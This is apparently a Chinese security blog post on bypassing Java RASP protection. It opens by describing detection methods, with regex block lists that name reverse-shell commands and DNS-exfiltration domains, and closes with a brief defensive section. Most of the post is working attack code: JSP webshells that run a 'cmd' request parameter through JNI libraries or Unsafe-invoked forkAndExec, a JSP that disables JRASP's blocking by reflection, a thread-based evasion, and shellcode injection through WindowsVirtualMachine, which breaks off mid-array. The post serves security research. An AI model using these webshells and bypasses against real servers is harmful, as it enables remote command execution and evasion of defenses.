<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    RASP的安全攻防研究實踐

    VSole2022-11-07 09:30:24

    1.背景

    1.1什么是RASP?

    隨著Web應用攻擊手段變得復雜,基于請求特征的防護手段,已經不能滿足企業安全防護需求。在2012年的時候,Gartner引入了“Runtime application self-protection”一詞,簡稱為RASP,屬于一種新型應用安全保護技術,它將防護功能“ 注入”到應用程序中,與應用程序融為一體,使應用程序具備自我防護能力,當應用程序遭受到實際攻擊傷害時,能實時檢測和阻斷安全攻擊,而不需要進行人工干預。

    rasp技術彌補了常規web安全防護解決方案如WAF的一些短板

    1.1.1 規則與業務場景無法對應

    1.1.2 可以被輕松繞過

    1.1.3 無法防御0day漏洞

    從原理上來看,RASP是從web應用內部對關鍵函數操作的數據進行分析,即使原始請求經過加密和混淆,但是它在應用內傳播到最終的底層函數時將會以明文方式被RASP截獲,因此相比WAF能減少大量的誤報和漏報問題。實現了在攻擊鏈路最關鍵的地方阻斷攻擊。

    那么我們在攻擊者的角度,面對rasp就束手無策了嗎,本文就將介紹在攻擊者的角度針對rasp的對抗技術研究以及實踐

    2.前言    

    前段時間研究了一下JRASP的代碼,在研究過程中看到了2022年Kcon會議上徐元振(pyn3rd)、黃雨喆(Glassy)兩位安全研究員分享的議題《RASP攻防下的黑魔法》,借此機會總結了下相關的繞過方式和技巧,并通過實踐的方式研究其攻擊繞過原理。

    3.檢測手法研究    

    本章節介紹了一些RASP的防御手段,基本上囊括了市面上主流基于JavaAgent的檢測方式

    3.1黑白名單    

    private static String[] defaultPatterString = new String[]{"cat.{1,5}/etc/passwd","nc.{1,30}-e.{1,100}/bin/(?:ba)?sh","bash\\s-.{0,4}i.{1,20}/dev/tcp/","subprocess.call\\(.{0,6}/bin/(?:ba)?sh","fsockopen\\(.{1,50}/bin/(?:ba)?sh","perl.{1,80}socket.{1,120}open.{1,80}exec\\(.{1,5}/bin/(?:ba)?sh" };
    

    數組中存放了一些常見的惡意命令,并通過正則的方式匹配

    3.2檢測DNS外帶    

    private String defaultPatternCmd = "(^|\\W)(curl|ping|wget|nslookup|dig)\\W";private String defaultPatternDomain = "\\.((ceye|exeye|sslip|nip)\\.io|dnslog\\.cn|(vcap|bxss)\\.me|xip\\. (name|io)|burpcollaborator\\.net|tu4\\.org|2xss\\.cc|request\\.bin|requestbin\\.net|pipedream \\.net)";
    

    主要檢測思路是判斷是否使用curl、ping等命令訪問一些黑名單的地址

    3.3基于堆棧信息的匹配    

    也叫上下文(Contextual)分析,通過在命令執行的forkAndExec處埋點,再獲取執行的堆棧信息,并向上回溯堆棧,看這個執行的來源來自什么地方。

    for (; i < stack.length; i++) {String method = stack[i];// 命令執行----->用戶代碼----->反射調用if (!reachedInvoke) {if ("java.lang.reflect.Method.invoke".equals(method)) {            reachedInvoke = true;        }// 用戶代碼,即非 JDK、com.jrasp 相關的函數if (!method.startsWith("java.")            && !method.startsWith("sun.")            && !method.startsWith("com.sun.")            && !method.startsWith("com.jrasp.")) {            userCode = true;        }    }if (method.startsWith("ysoserial.Pwner")) {        message = "Using YsoSerial tool";break;    }if (method.startsWith("net.rebeyond.behinder")) {        message = "Using BeHinder defineClass webshell";break;    }if (method.startsWith("com.fasterxml.jackson.databind.")) {        message = "Using Jackson deserialze method";break;    }}
    

    缺點:對性能的消耗非常大。如果是在文件讀取、請求獲取等地方進行埋點,由于這些操作非常頻繁,會導致進入埋點信息獲取堆棧的操作也會增加,造成大量的資源消耗。

    3.4詞法/語法分析    

    通過在Sql查詢的語句上進行埋點,如statement.executeQuery方法,將進行查詢的SQL語句進行語法分析和詞法分析,能夠判斷用戶是否造成了注入。

    這樣即使Rasp的部署的應用使用了常規的查詢語句,而未使用預編譯來防止SQL注入,也可以進行攔截。

    缺點:需要獨立的語法庫進行支持,如果攻擊者使用的Payload無法被語法庫匹配到,就會造成繞過。同時因為語法/ 詞法分析和匹配也需要資源進行支持,會造成一定的開銷。

    4.RASP繞過方式研究    

    4.1 JNI注入 

    加載動態鏈接庫繞過方式     

    JNI的全名是Java Native Interface,正如名字所述,這是一個接口。一個可以調用本地C/C++編寫的動態鏈接庫封裝的方式。

    首先創建一個帶有Native方法的JniDemo類

    package com.rasp.demo; import java.io.File;public class JniDemo {    {/***系統加載其他的語言的函數         */String realPath = System.getProperty("user.dir") + File.separator +"raspDemo.so" ;         System.load(realPath);    }/***就這個natice關鍵字.標記了這個接口,看起來像是abstract     */public native String RaspFilter(String str);
    public static void main(String[] args) {         JniDemo demo = new JniDemo();String str = demo.RaspFilter("world");         System.out.println(str);    } }
    

    之后就是通過javah命令來生成.h文件,由于從JDK10開始沒有javah了,只能通過javac的-h參數來實現

    javac -cp . ./com/rasp/demo/JniDemo.java -h com.rasp.demo.JniDemo
    

    執行后會在當前的目錄里面生成一個com_rasp_demo_JniDemo.h的文件名

    /* DO NOT EDIT THIS FILE - it is machine generated */#include/* Header for class com_rasp_demo_JniDemo */#ifndef _Included_com_rasp_demo_JniDemo#define _Included_com_rasp_demo_JniDemo #ifdef __cplusplus extern "C" {#endif/**Class:     com_rasp_demo_JniDemo*Method:    RaspFilter*Signature: (Ljava/lang/String;)Ljava/lang/String; */JNIEXPORT jstring JNICALL Java_com_rasp_demo_JniDemo_RaspFilter(JNIEnv *, jobject, jstring);#ifdef __cplusplus}#endif#endif
    

    在jni.h文件中的宏定義是

    #define JNIEXPORT __declspec(dllexport) #define JNIIMPORT __declspec(dllimport) #define JNICALL __stdcall
    

    上述是Windows版本的宏定義,Linux系統下定義如下:

    #define JNIIMPORT#define JNIEXPORT  __attribute__ ((visibility ("default"))) #define JNICALL
    

    總體來說,就是需要導出該函數(設置其可見性),讓外部調用動態鏈接庫的時候能夠找到該函數。第二步就是創建一個C文件,引入該.h文件,并編寫相關實現代碼。

    #include "com_rasp_demo_JniDemo.h"JNIEXPORT jstring JNICALL Java_com_rasp_demo_JniDemo_RaspFilter(JNIEnv *env, jobject obj,jstring str){     char msg[60] = "hello"; 
    const char *argStr = (*env)->GetStringUTFChars(env,str,NULL);     if(argStr == NULL){        (*env)->ReleaseStringUTFChars(env,str,argStr);        jniThrowException(env,"java/lang/RuntimeException","Get JNI argStr Error");         return;    }strcat(msg,argStr);    (*env)->ReleaseStringUTFChars(env,str,argStr);     jstring result = (*env)->NewStringUTF(env, msg);return result;  }
    

    GetStringUTFChars返回一個指向UTF字符串的指針,該函數會分配內存空間存儲該字符串,因此使用完后一定要記得調用對應的釋放函數ReleaseStringUTFChars釋放分配的空間。之后我再通過strcat函數將hello字符串也拼接起來,并創建一個jstring的對象返回。

    再用gcc編譯成dll/so文件

    gcc -fPIC -I "/usr/lib/jvm/java-11-openjdk-amd64/include" -I"/usr/lib/jvm/java-11-openjdkamd64/include/linux" -shared -o raspDemo.so raspDemo.c
    

    如果用c++的代碼,用g++編譯的情況下應把(*env)->NewStringUTF(env, msg);改成env->NewStringUTF(msg);

    gcc編譯的環境下如果出現error: too few arguments to function ‘(*env)->ReleaseStringUTFChars’等類似情況,可能

    是因為沒有在函數開頭加上env對象

    (*env)->NewStringUTF(env, msg);//第一個參數必須是JNIEnv對象之后編譯com.rasp.demo.JniDemo類,執行后可以獲得底層RaspFilter函數拼接的helloworld

    如果出現Exception in thread "main" java.lang.UnsatisfiedLinkError的異常,則可能是包類的限定名有錯誤,如上例所示,調用的類必須是com.rasp.demo.JniDemo。

    知道JNI注入的攻擊手法后,就可以通過以下利用場景進行漏洞利用,首先將JniDemo.class的文件讀取字節碼數組。

    package javaTest;import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException;import java.io.InputStream; import java.nio.ByteBuffer; import java.nio.channels.FileChannel;public class Main {public static void main(String[] args) throws IOException {             String filename = "E:\\com\\rasp\\demo\\JniDemo.class";            File file = new File(filename);byte[] bytes = readByNIO(file);            System.out.println("new byte[]{");for(byte b : bytes) {                System.out.print(b);                System.out.print(",");            }            System.out.println("};");        }
    public static void checkFileExists(File file) throws FileNotFoundException {if (file == null || !file.exists()) {                System.err.println("file is not null or exist !");throw new FileNotFoundException(file.getName());            }        }
    public static byte[] readByNIO(File file) throws IOException {            checkFileExists(file);//1、定義一個File管道,打開文件輸入流,并獲取該輸入流管道。//2、定義一個ByteBuffer,并分配指定大小的內存空間//3、while循環讀取管道數據到byteBuffer,直到管道數據全部讀取//4、將byteBuffer轉換為字節數組返回            FileChannel fileChannel = null;            FileInputStream in = null;try {in = new FileInputStream(file);                fileChannel = in.getChannel();                ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());     while (fileChannel.read(buffer) > 0) {                }return buffer.array();            } finally {                closeChannel(fileChannel);                closeInputStream(in);            }        }
    public static void closeChannel(FileChannel channel) {try {                channel.close();            } catch (IOException e) {                e.printStackTrace();            }        }
    public static void closeInputStream(InputStream in) {try {in.close();            } catch (IOException e) {                e.printStackTrace();            }        } }
    

    之后就能得到輸出的數組

    new byte[]{-54,-2,-70,-66,0,0,0,55,0,15,10,0,3,0,12,7,0,13,7,0,14,1,0,6,60,105,110,105,116,62,1,0,3,40,4 1,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,10 ,82,97,115,112,70,105,108,116,101,114,1,0,38,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,12,74,110,105,68,101,109,111,46,106,97,118,97,12,0,4,0,5,1,0,21,99,111,109,47,114,97,115,112,47,100,101,109,111,47,74,110,105,68,101,109,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,0,33,0,2,0,3,0,0,0,0,0,2,0,1,0,4,0 ,5,0,1,0,6,0,0,0,29,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,1,0,7,0,0,0,6,0,1,0,0,0,3,1,1,0,8,0,9,0,0,0,1,0,10,0,0,0,2,0,11 };
    

    之后編寫注入JNI攻擊的JSP腳本,這里我從Javasec上找到的demo

    <%@ page language="java" contentType="text/html; charset=UTF-8"    pageEncoding="UTF-8"%><%@ page import="java.io.File" %><%@ page import="java.io.FileOutputStream" %> <%@ page import="java.io.IOException" %><%@ page import="java.lang.reflect.Method" %><%!     private static final String COMMAND_CLASS_NAME = "com.rasp.demo.JniDemo";private static final byte[] COMMAND_CLASS_BYTES = new byte[]{-54,-2,-70,-66,0,0,0,55,0,15,10,0,3,0,12,7,0,13,7,0,14,1,0,6,60,105,110,105,116,62,1,0,3,40,4 1,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,10 ,82,97,115,112,70,105,108,116,101,114,1,0,38,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,12,74,110,105,68,101,109,111,46,106,97,118,97,12,0,4,0,5,1,0,21,99,111,109,47,114,97,115,112,47,100,101,109,111,47,74,110,105,68,101,109,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,0,33,0,2,0,3,0,0,0,0,0,2,0,1,0,4,0 ,5,0,1,0,6,0,0,0,29,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,1,0,7,0,0,0,6,0,1,0,0,0,3,1,1,0,8,0,9,0,0,0,1,0,10,0,0,0,2,0,11};
    /***獲取JNI鏈接庫目錄*@return 返回緩存JNI的臨時目錄     */File getTempJNILibFile() {File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");if (!jniDir.exists()) {            jniDir.mkdir();        }String filename = "JniDemi.so";return new File(jniDir, filename);    }/***高版本JDKsun.misc.BASE64Decoder已經被移除,低版本JDK又沒有java.util.Base64對象,      * 所以還不如直接反射自動找這兩個類,哪個存在就用那個decode。*@param str*@return     */    byte[] base64Decode(String str) {try {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(), str);            } catch (ClassNotFoundException e) {Class  clazz   = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode",String.class).invoke(decoder, str);            }        } catch (Exception e) {return null;        }    }
    /***寫JNI鏈接庫文件*@param base64 JNI動態庫Base64      * @return 返回是否寫入成功     */    void writeJNILibFile(String base64) throws IOException {if (base64 != null) {File jniFile = getTempJNILibFile();if (!jniFile.exists()) {                byte[] bytes = base64Decode(base64);if (bytes != null) {FileOutputStream fos = new FileOutputStream(jniFile);                    fos.write(bytes);                    fos.flush();                     fos.close();                }            }        }    }
        boolean isWin() {return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));    }
        boolean isWin32() {return "32".equals(System.getProperty("sun.arch.data.model"));     }    boolean isLinux() {return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Linux"));    }
    %><% String cmd = request.getParameter("cmd");String jniBytes = request.getParameter("jni");String COMMAND_JNI_FILE_BYTES; if (isWin()) {     if (isWin32()) {// windows 32COMMAND_JNI_FILE_BYTES = "省略具體的so文件Base64編碼信息";    } else {// windows 64COMMAND_JNI_FILE_BYTES = "省略具體的so文件Base64編碼信息";    }} else {if (isLinux()) {// linuxCOMMAND_JNI_FILE_BYTES = "省略具體的so文件Base64編碼信息";    } else {// macosCOMMAND_JNI_FILE_BYTES = "省略具體的so文件Base64編碼信息";    }} // JNI路徑File jniFile = getTempJNILibFile();ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");if (loader == null) {    loader = new ClassLoader(this.getClass().getClassLoader()) {        @Override        protected Class findClass(String name) throws ClassNotFoundException {try {return super.findClass(name);            } catch (ClassNotFoundException e) {return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0,COMMAND_CLASS_BYTES.length);            }        }    };    writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 寫JNI文件到臨時文件目錄    application.setAttribute("__LOADER__", loader);}try {// load命令執行類Class  commandClass = loader.loadClass("com.rasp.demo.JniDemo");Object loadLib      = application.getAttribute("__LOAD_LIB__");if (loadLib == null || !((Boolean) loadLib)) {Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0",Class.class, File.class);        loadLibrary0Method.setAccessible(true);        loadLibrary0Method.invoke(loader, commandClass, jniFile);        application.setAttribute("__LOAD_LIB__", true);    }
    String content = (String) commandClass.getMethod("RaspFilter",String.class).invoke(commandClass.newInstance(), cmd);//RaspFilter不是靜態方法,調用需要實例化    out.println("");    out.println(content);    out.println("");
    } catch (Exception e) {    out.println(e.toString());throw e;}%>
    

    這是直接執行命令的結果:

    經過上傳JNI攻擊的JSP腳本后的繞過效果:

    4.2 Tomcat-JNI攻擊方式     

    上述手法需要加載.so的動態鏈接庫才能進行調用,因此通常需要配合目標的文件上傳漏洞和代碼執行漏洞來調用已經上傳的鏈接庫,這種方式大大增加了漏洞利用的成本。而冰蝎作者提出了一種新的思路,通過已經有的tomcatjni.jar包(在Tomcat環境中默認存在)進行利用。

    Library.initialize(null);longpool=Pool.Create(0); longproc=Proc.alloc(pool);Proc.create(proc,"/System/Applications/Calculator.app/Contents/MacOS/Calculator",newString[][],newString[][],Procattr.create(pool),pool);
    

    上述是我在Windows本地測試的代碼,通過開啟新的進程方式來繞過Rasp的檢測。

    4.3 破壞RASP的開關    

    我仔細分析了一下Jrasp的檢測代碼,發現好像并未有類似OpenRasp一樣有一個Hook開關,只有一個action的變量來判斷后續是否攔截。相比較下來,Jrasp并無明顯的開關可以直接通過反射去操控,且該action變量在模塊中,而模塊又是經過SPI注入到JVM中的,因此筆者在實現的過程中也遇到了不少問題。

    而我的想法就是通過反射的方式修改這個action字段的值

    而這個RceCheck又是動態生成的對象,因此只能獲取該算法中的list對象,再從中遍歷取出已經初始化好的

    RceCheck對象并修改。

    于是我寫了如下poc

    <%@ page language="java" contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%><%@ page import="java.lang.Thread" %><%@ page import="java.lang.reflect.*" %><%@ page import="java.util.List" %>DOCTYPE html><html><head><meta charset="UTF-8"><title>Insert title heretitle>head><body>     <%Class cls = Thread.currentThread().getContextClassLoader().loadClass("com.jrasp.module.rcenative.algorith m.RceAlgorithm");Field listField = cls.getDeclaredField("list");        //listField.setAccessible(true);List list = (List) listField.get(null);Class AbsRceCheck = Thread.currentThread().getContextClassLoader().loadClass("com.jrasp.module.rcenative.algorith m.check.AbsRceCheck");Field action = AbsRceCheck.getDeclaredField("action");         action.setAccessible(true);         for(Object obj : list){             action.set(obj, 0);        }out.println("Succeed");    %>body>html>
    

    但是很快,就報出錯誤

    java.lang.ClassNotFoundException: com.jrasp.module.rcenative.algorithm.RceAlgorithm

    說找不到該類,這時我才想起Jrasp是自己定義的ClassLoader加載的,因為在Jrasp加載過程中是通過SPI的服務定義找到對應的Jar包路徑,再修改其加載器為ModuleJarClassLoader。

    為了找到是什么ClassLoader加載的該對象,先將Tomcat的內存dump下來分析

    jmap -dump:live,format=b,file=heap.bin pid(進程PID)再使用jhat命令打卡可視化Web頁面

    jhat -J-mx800m heap.bin

    訪問http://192.168.249.135:7000/找到對應需要的類,點開后就可以看到ClassLoader的信息

    因此我之后的想法是獲取內存中的ClassLoader實例,但是經過測試之后,幾乎無法拿到已經存在的ClassLoader實例,而通過自己newInstance的方法創建并loadClass獲取對應Class的Field字段也是空的。不過后續轉變了思路,在往上Jrasp-Agent初始化的過程,看到com.jrasp.agent.AgentLauncher類中的 raspClassLoaderMap字段存放了已經按NameSpace注冊好了的ClassLoader。

    而有了對應的raspCLassLoader實例之后,就可以用loadClass加載鏈接com.jrasp.core.algorithm.DefaultAlgorithmManager,該類中有一個static修飾的algorithmMaps字段,熟悉static修飾的開發同學可能就知道這是一個單例模式。因此可以直接通過反射獲取到內容,而無需再去獲取DefaultAlgorithmManager的實例對象。

    <%@ page language="java" contentType="text/html; charset=UTF-8"    pageEncoding="UTF-8"%><%@ page import="java.lang.Thread" %><%@ page import="java.lang.reflect.*" %><%@ page import="java.util.*" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.net.URL" %>DOCTYPE html><html><head><meta charset="UTF-8"><title>Close Rasp for RCEtitle>head><body>     <%
            Field raspClassLoaderMap = Thread.currentThread().getContextClassLoader().loadClass("com.jrasp.agent.AgentLauncher").get DeclaredField("raspClassLoaderMap");        raspClassLoaderMap.setAccessible(true);        Map map = (Map)raspClassLoaderMap.get(null);        ClassLoader raspCLassLoader = (ClassLoader) map.get("jrasp");         Field algorithmMaps = raspCLassLoader.loadClass("com.jrasp.core.algorithm.DefaultAlgorithmManager").getDeclaredFiel d("algorithmMaps");        algorithmMaps.setAccessible(true);        Map algorithmMap = (Map) algorithmMaps.get(null);        Field RceCheckList = algorithmMap.get("rce").getClass().getDeclaredField("list");        RceCheckList.setAccessible(true);        List RceList = (List)RceCheckList.get(null);for(int i=0;i<RceList.size();i++){            Object RceAlgorithm = RceList.get(i);            Field action = RceAlgorithm.getClass().getSuperclass().getDeclaredField("action");            action.setAccessible(true);             action.set(RceAlgorithm,0);        }out.println("Succeed");    %>body>html>
    

    上述JSP代碼就是通過反射來關閉Jrasp的防御。

    輸出Succeed表示反射代碼已經執行完成

    再次訪問的時候就已經沒有攔截我的任何命令了

    4.4 熔斷開關機制的利用   

      這里介紹的是一種奇技淫巧,RASP部署在生產環境,不可避免會占用應用的計算資源。這里舉個例子,對于XSS(跨站腳本攻擊)類攻擊,需要在用戶請求和服務器響應中分析有無惡意腳本,目前業界采用的辦法是使用正則表達式進行匹配。然而在一些使用龐大表單的應用中,XSS的正則匹配將會消耗大量的資源,這也是rasp技術的一種缺陷,這導致很多商業化的rasp產品為了安全考慮,都有類似的CPU熔斷保護機制,如果CPU達到90%,就自動關閉Rasp的攔截。因此可以通過cc,dos攻擊來增大業務系統的負荷,觸發RASP的熔斷開關,實現對于rasp的繞過,但由于此類攻擊不可控,容易造成生產環境的業務系統停擺,是一種非常危險且不實用的方法,不推薦使用

     4.5 Behinder/Godzilla偽裝惡意類   

        分析過Behinder的源碼可以很清楚的知道,冰蝎是通過自定義ClassLoader的方式來加載的惡意類,而加載的這個惡意類是通過隨機生成的類名。結合我之前在介紹檢測手法的時候,說到Rasp很多都是通過堆棧信息回溯的方式來判斷命令執行的地方在哪里來的。

    if (method.startsWith("net.rebeyond.behinder")) {    message = "Using BeHinder defineClass webshell";break;}
    

    檢測了堆棧是否包含net.rebeyond.behinder類開頭的信息下面我就介紹一下惡意類是如何偽造類名騙過Rasp進行命令執行的。

    class U extends ClassLoader {    U(ClassLoader c) {super(c);    }public Class g(byte[] b) {return super.defineClass(b, 0, b.length);    } }public class Main {public static void main(String[] args) throws Exception {            String filename = "E:\\com\\rasp\\demo\\execCommand.class";            File file = new File(filename);byte[] bytes = readByNIO(file);//          BASE64Encoder enc = new BASE64Encoder(); //          String encodeString = enc.encodeBuffer(bytes);//          System.out.println(encodeString);            Main main = new Main();new U(main.getClass().getClassLoader()).g(bytes).newInstance().equals("cmd.exe /c calc");        } }
    

    首先自定義了自己的ClassLoader加載器,并讀取了本地的com.rasp.demo.execCommand類的equals方法

    package com.rasp.demo; import java.io.IOException;public class execCommand {public boolean equals(Object obj) {         String command = (String) obj;         try{            Runtime.getRuntime().exec(command);        }catch(IOException e){             return false;        }         throw new NullPointerException();//return true;    } }
    

    為了方便看到堆棧信息,我這里手動拋出異常,注意在真實繞過場景可以取消異常拋出,返回boolean類型。

     

    4.6 通過新建線程執行繞過    

    <%@ page language="java" contentType="text/html; charset=UTF-8"    pageEncoding="UTF-8"%>    <%@ page import="java.io.IOException" %>DOCTYPE html><html><head><meta charset="UTF-8"><title>Insert title heretitle>head><body><%    Thread t = new Thread(new Runnable() {@Override         public void run() {             try {                Runtime.getRuntime().exec(new String[]{"touch","/tmp/test"});             } catch (IOException e) {                e.printStackTrace();            }        }    });    t.start();    out.println(">==test==<");%>body>html>
    

    這種方式通過新開線程的方式來逃避堆棧的檢測,但還是無法繞過黑白名單的檢測

    4.7 Bootstrap Classload加載繞過內存馬檢測    

    因為有部分Rasp也會支持內存馬的檢測,先來看看開源的內存馬檢測原理:

    檢測目標類的ClassLoader是否有對應的Class文件落地,如果沒有Instrumentation提供了一個appendToBootstrapClassLoaderSearch方法

    void appendToBootstrapClassLoaderSearch(JarFile jarfile):將某個jar加入到Bootstrap Classpath里優先其他jar被加載。

    因此使用Instrumentation.appendToBootstrapClassLoaderSearch方法加載的jar包是以Bootstrap ClassLoader加載的,而獲取Instrumentation對象有下述兩種方式:

    Attach:可以加載自己的agent,在premain或agentmain方法中可以拿到

    通過偽造JPLISAgent結構和反射調用InstrumentationImpl的appendToBootstrapClassLoaderSearch方法

    4.8通過UnSafe方式繞過    

    Unsafe是Java開發中的常見操作類,可以幫助開發者提供直接訪問系統內存資源、自主管理內存資源等操作,大大提升了Java運行時的效率和語言底層資源操作能力。

    由于Unsafe過于強大,因此獲取Unsafe實例的方法只有如下兩種:

    @CallerSensitivepublic static Unsafe getUnsafe() {    Class var0 = Reflection.getCallerClass();// 判斷var0是不是BootstrapClassLoaderif (!VM.isSystemDomainLoader(var0.getClassLoader())) {throw new SecurityException("Unsafe");    } else {return theUnsafe;    }}
    

    而該方法是由@CallerSensitive注解修飾,這意味著調用該方法的類必須來自Bootstrap ClassLoader加載的。所以通常情況下,我們會用反射的方式來獲取里面的實例

    public static Unsafe getUnsafe(){     Unsafe unsafe = null;try {        Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");        field.setAccessible(true);unsafe = (sun.misc.Unsafe) field.get(null);return unsafe;    } catch (Exception e) {         throw new AssertionError(e);    }}
    

    在這里需要著重介紹的就是Unsafe.allocateInstance方法,該方法可以實例化一個對象而不調用它的構造方法,再去執行它的Native方法,從而繞過Rasp的檢測。

    <%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="sun.misc.Unsafe" %><%@ page import="java.io.ByteArrayOutputStream" %><%@ page import="java.io.InputStream" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.lang.reflect.Method" %><%!    byte[] toCString(String s) {if (s == null)return null;        byte[] bytes  = s.getBytes();        byte[] result = new byte[bytes.length + 1];System.arraycopy(bytes, 0,                result, 0,                bytes.length);        result[result.length - 1] = (byte) 0;return result;    }%><%String[] strs = request.getParameterValues("cmd");if (strs != null) {Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");        theUnsafeField.setAccessible(true);Unsafe unsafe = (Unsafe) theUnsafeField.get(null);Class processClass = null;try {            processClass = Class.forName("java.lang.UNIXProcess");         } catch (ClassNotFoundException e) {            processClass = Class.forName("java.lang.ProcessImpl");         }Object processObject = unsafe.allocateInstance(processClass);// Convert arguments to a contiguous block; it's easier to do// memory management in Java than in C.        byte[][] args = new byte[strs.length - 1][];        int      size = args.length; // For added NUL bytesfor (int i = 0; i < args.length; i++) {            args[i] = strs[i + 1].getBytes();            size += args[i].length;        }        byte[] argBlock = new byte[size];        int    i        = 0;for (byte[] arg : args) {System.arraycopy(arg, 0, argBlock, i, arg.length);            i += arg.length + 1;// No need to write NUL bytes explicitly        }        int[] envc                 = new int[1];        int[] std_fds              = new int[]{-1, -1, -1};Field launchMechanismField = processClass.getDeclaredField("launchMechanism");Field helperpathField      = processClass.getDeclaredField("helperpath");        launchMechanismField.setAccessible(true);        helperpathField.setAccessible(true);Object launchMechanismObject = launchMechanismField.get(processObject);        byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);        int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{                int.class, byte[].class, byte[].class, byte[].class, int.class,                byte[].class, int.class, byte[].class, int[].class, boolean.class         });        forkMethod.setAccessible(true);// 設置訪問權限        int pid = (int) forkMethod.invoke(processObject, new Object[]{                 ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,                null, envc[0], null, std_fds, false        });// 初始化命令執行結果,將本地命令執行的輸出流轉換為程序執行結果的輸出流Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);        initStreamsMethod.setAccessible(true);        initStreamsMethod.invoke(processObject, std_fds);// 獲取本地執行結果的輸入流Method getInputStreamMethod = processClass.getMethod("getInputStream");        getInputStreamMethod.setAccessible(true);InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);ByteArrayOutputStream baos = new ByteArrayOutputStream();        int                   a    = 0;        byte[]                b    = new byte[1024];while ((a = in.read(b)) != -1) {            baos.write(b, 0, a);        }        out.println("");        out.println(baos.toString());        out.println("");
            out.flush();        out.close();    }%>
    

    因為在基于Instrument的JavaAgent只能修改JVM內存中的Class方法,而無法Hook到Native方法,因此可以通過直接執行forkAndExec的Native方法來執行命令,達到繞過Rasp的方式。

    4.9 防御直接調用Native方法的攻擊     

    防御這種通過Unsafe直接調用Native的函數的攻擊方式,我總結了以下幾點防御手段:

    1.如果不考慮性能影響,可以通過在Method.setAccessible、Method.invoke方法上進行埋點檢測

    2.在Jvm層面對Native方法進行inline hook的方式

    3.使用Instrument.setNativeMethodPrefix方法設置Native函數的前綴,例如上述的forkAndExec函數名,可以通過setNativeMethodPrefix(transformer,"another_")設置前綴的方式,變成"another_forkAndExec"函數,導致攻擊者無法通過Unsafe反射的方式調用Native底層方法(開源項目Jrasp就是使用這種防御方式)。

          Java跨平臺任意Native代碼執行,詳情可參考《Java內存攻擊技術漫談》一文

    4.10 通過WindowsVirtualMachine注入ShellCode加載    

    《Java內存馬攻擊技術漫談》文中,作者提出一種Windows環境下植入ShellCode的一種方法,可向自身進程植入并運行ShellCode。

    package javaTest; import java.lang.reflect.Method;public class Hello   {    public static void main(String[] args) throws Exception {        System.loadLibrary("attach");        Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");for (Method m:cls.getDeclaredMethods())        {if (m.getName().equals("enqueue"))            {                long hProcess=-1;byte shellcode[] = new byte[]   //pop calc.exe x64                        {                                (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,                                (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,                                (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,                                (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,                                (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,                                (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,                                (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,                                (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,                                (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,                                (byte) 0x42, (byte) 0x3c, (byte) 0x48, 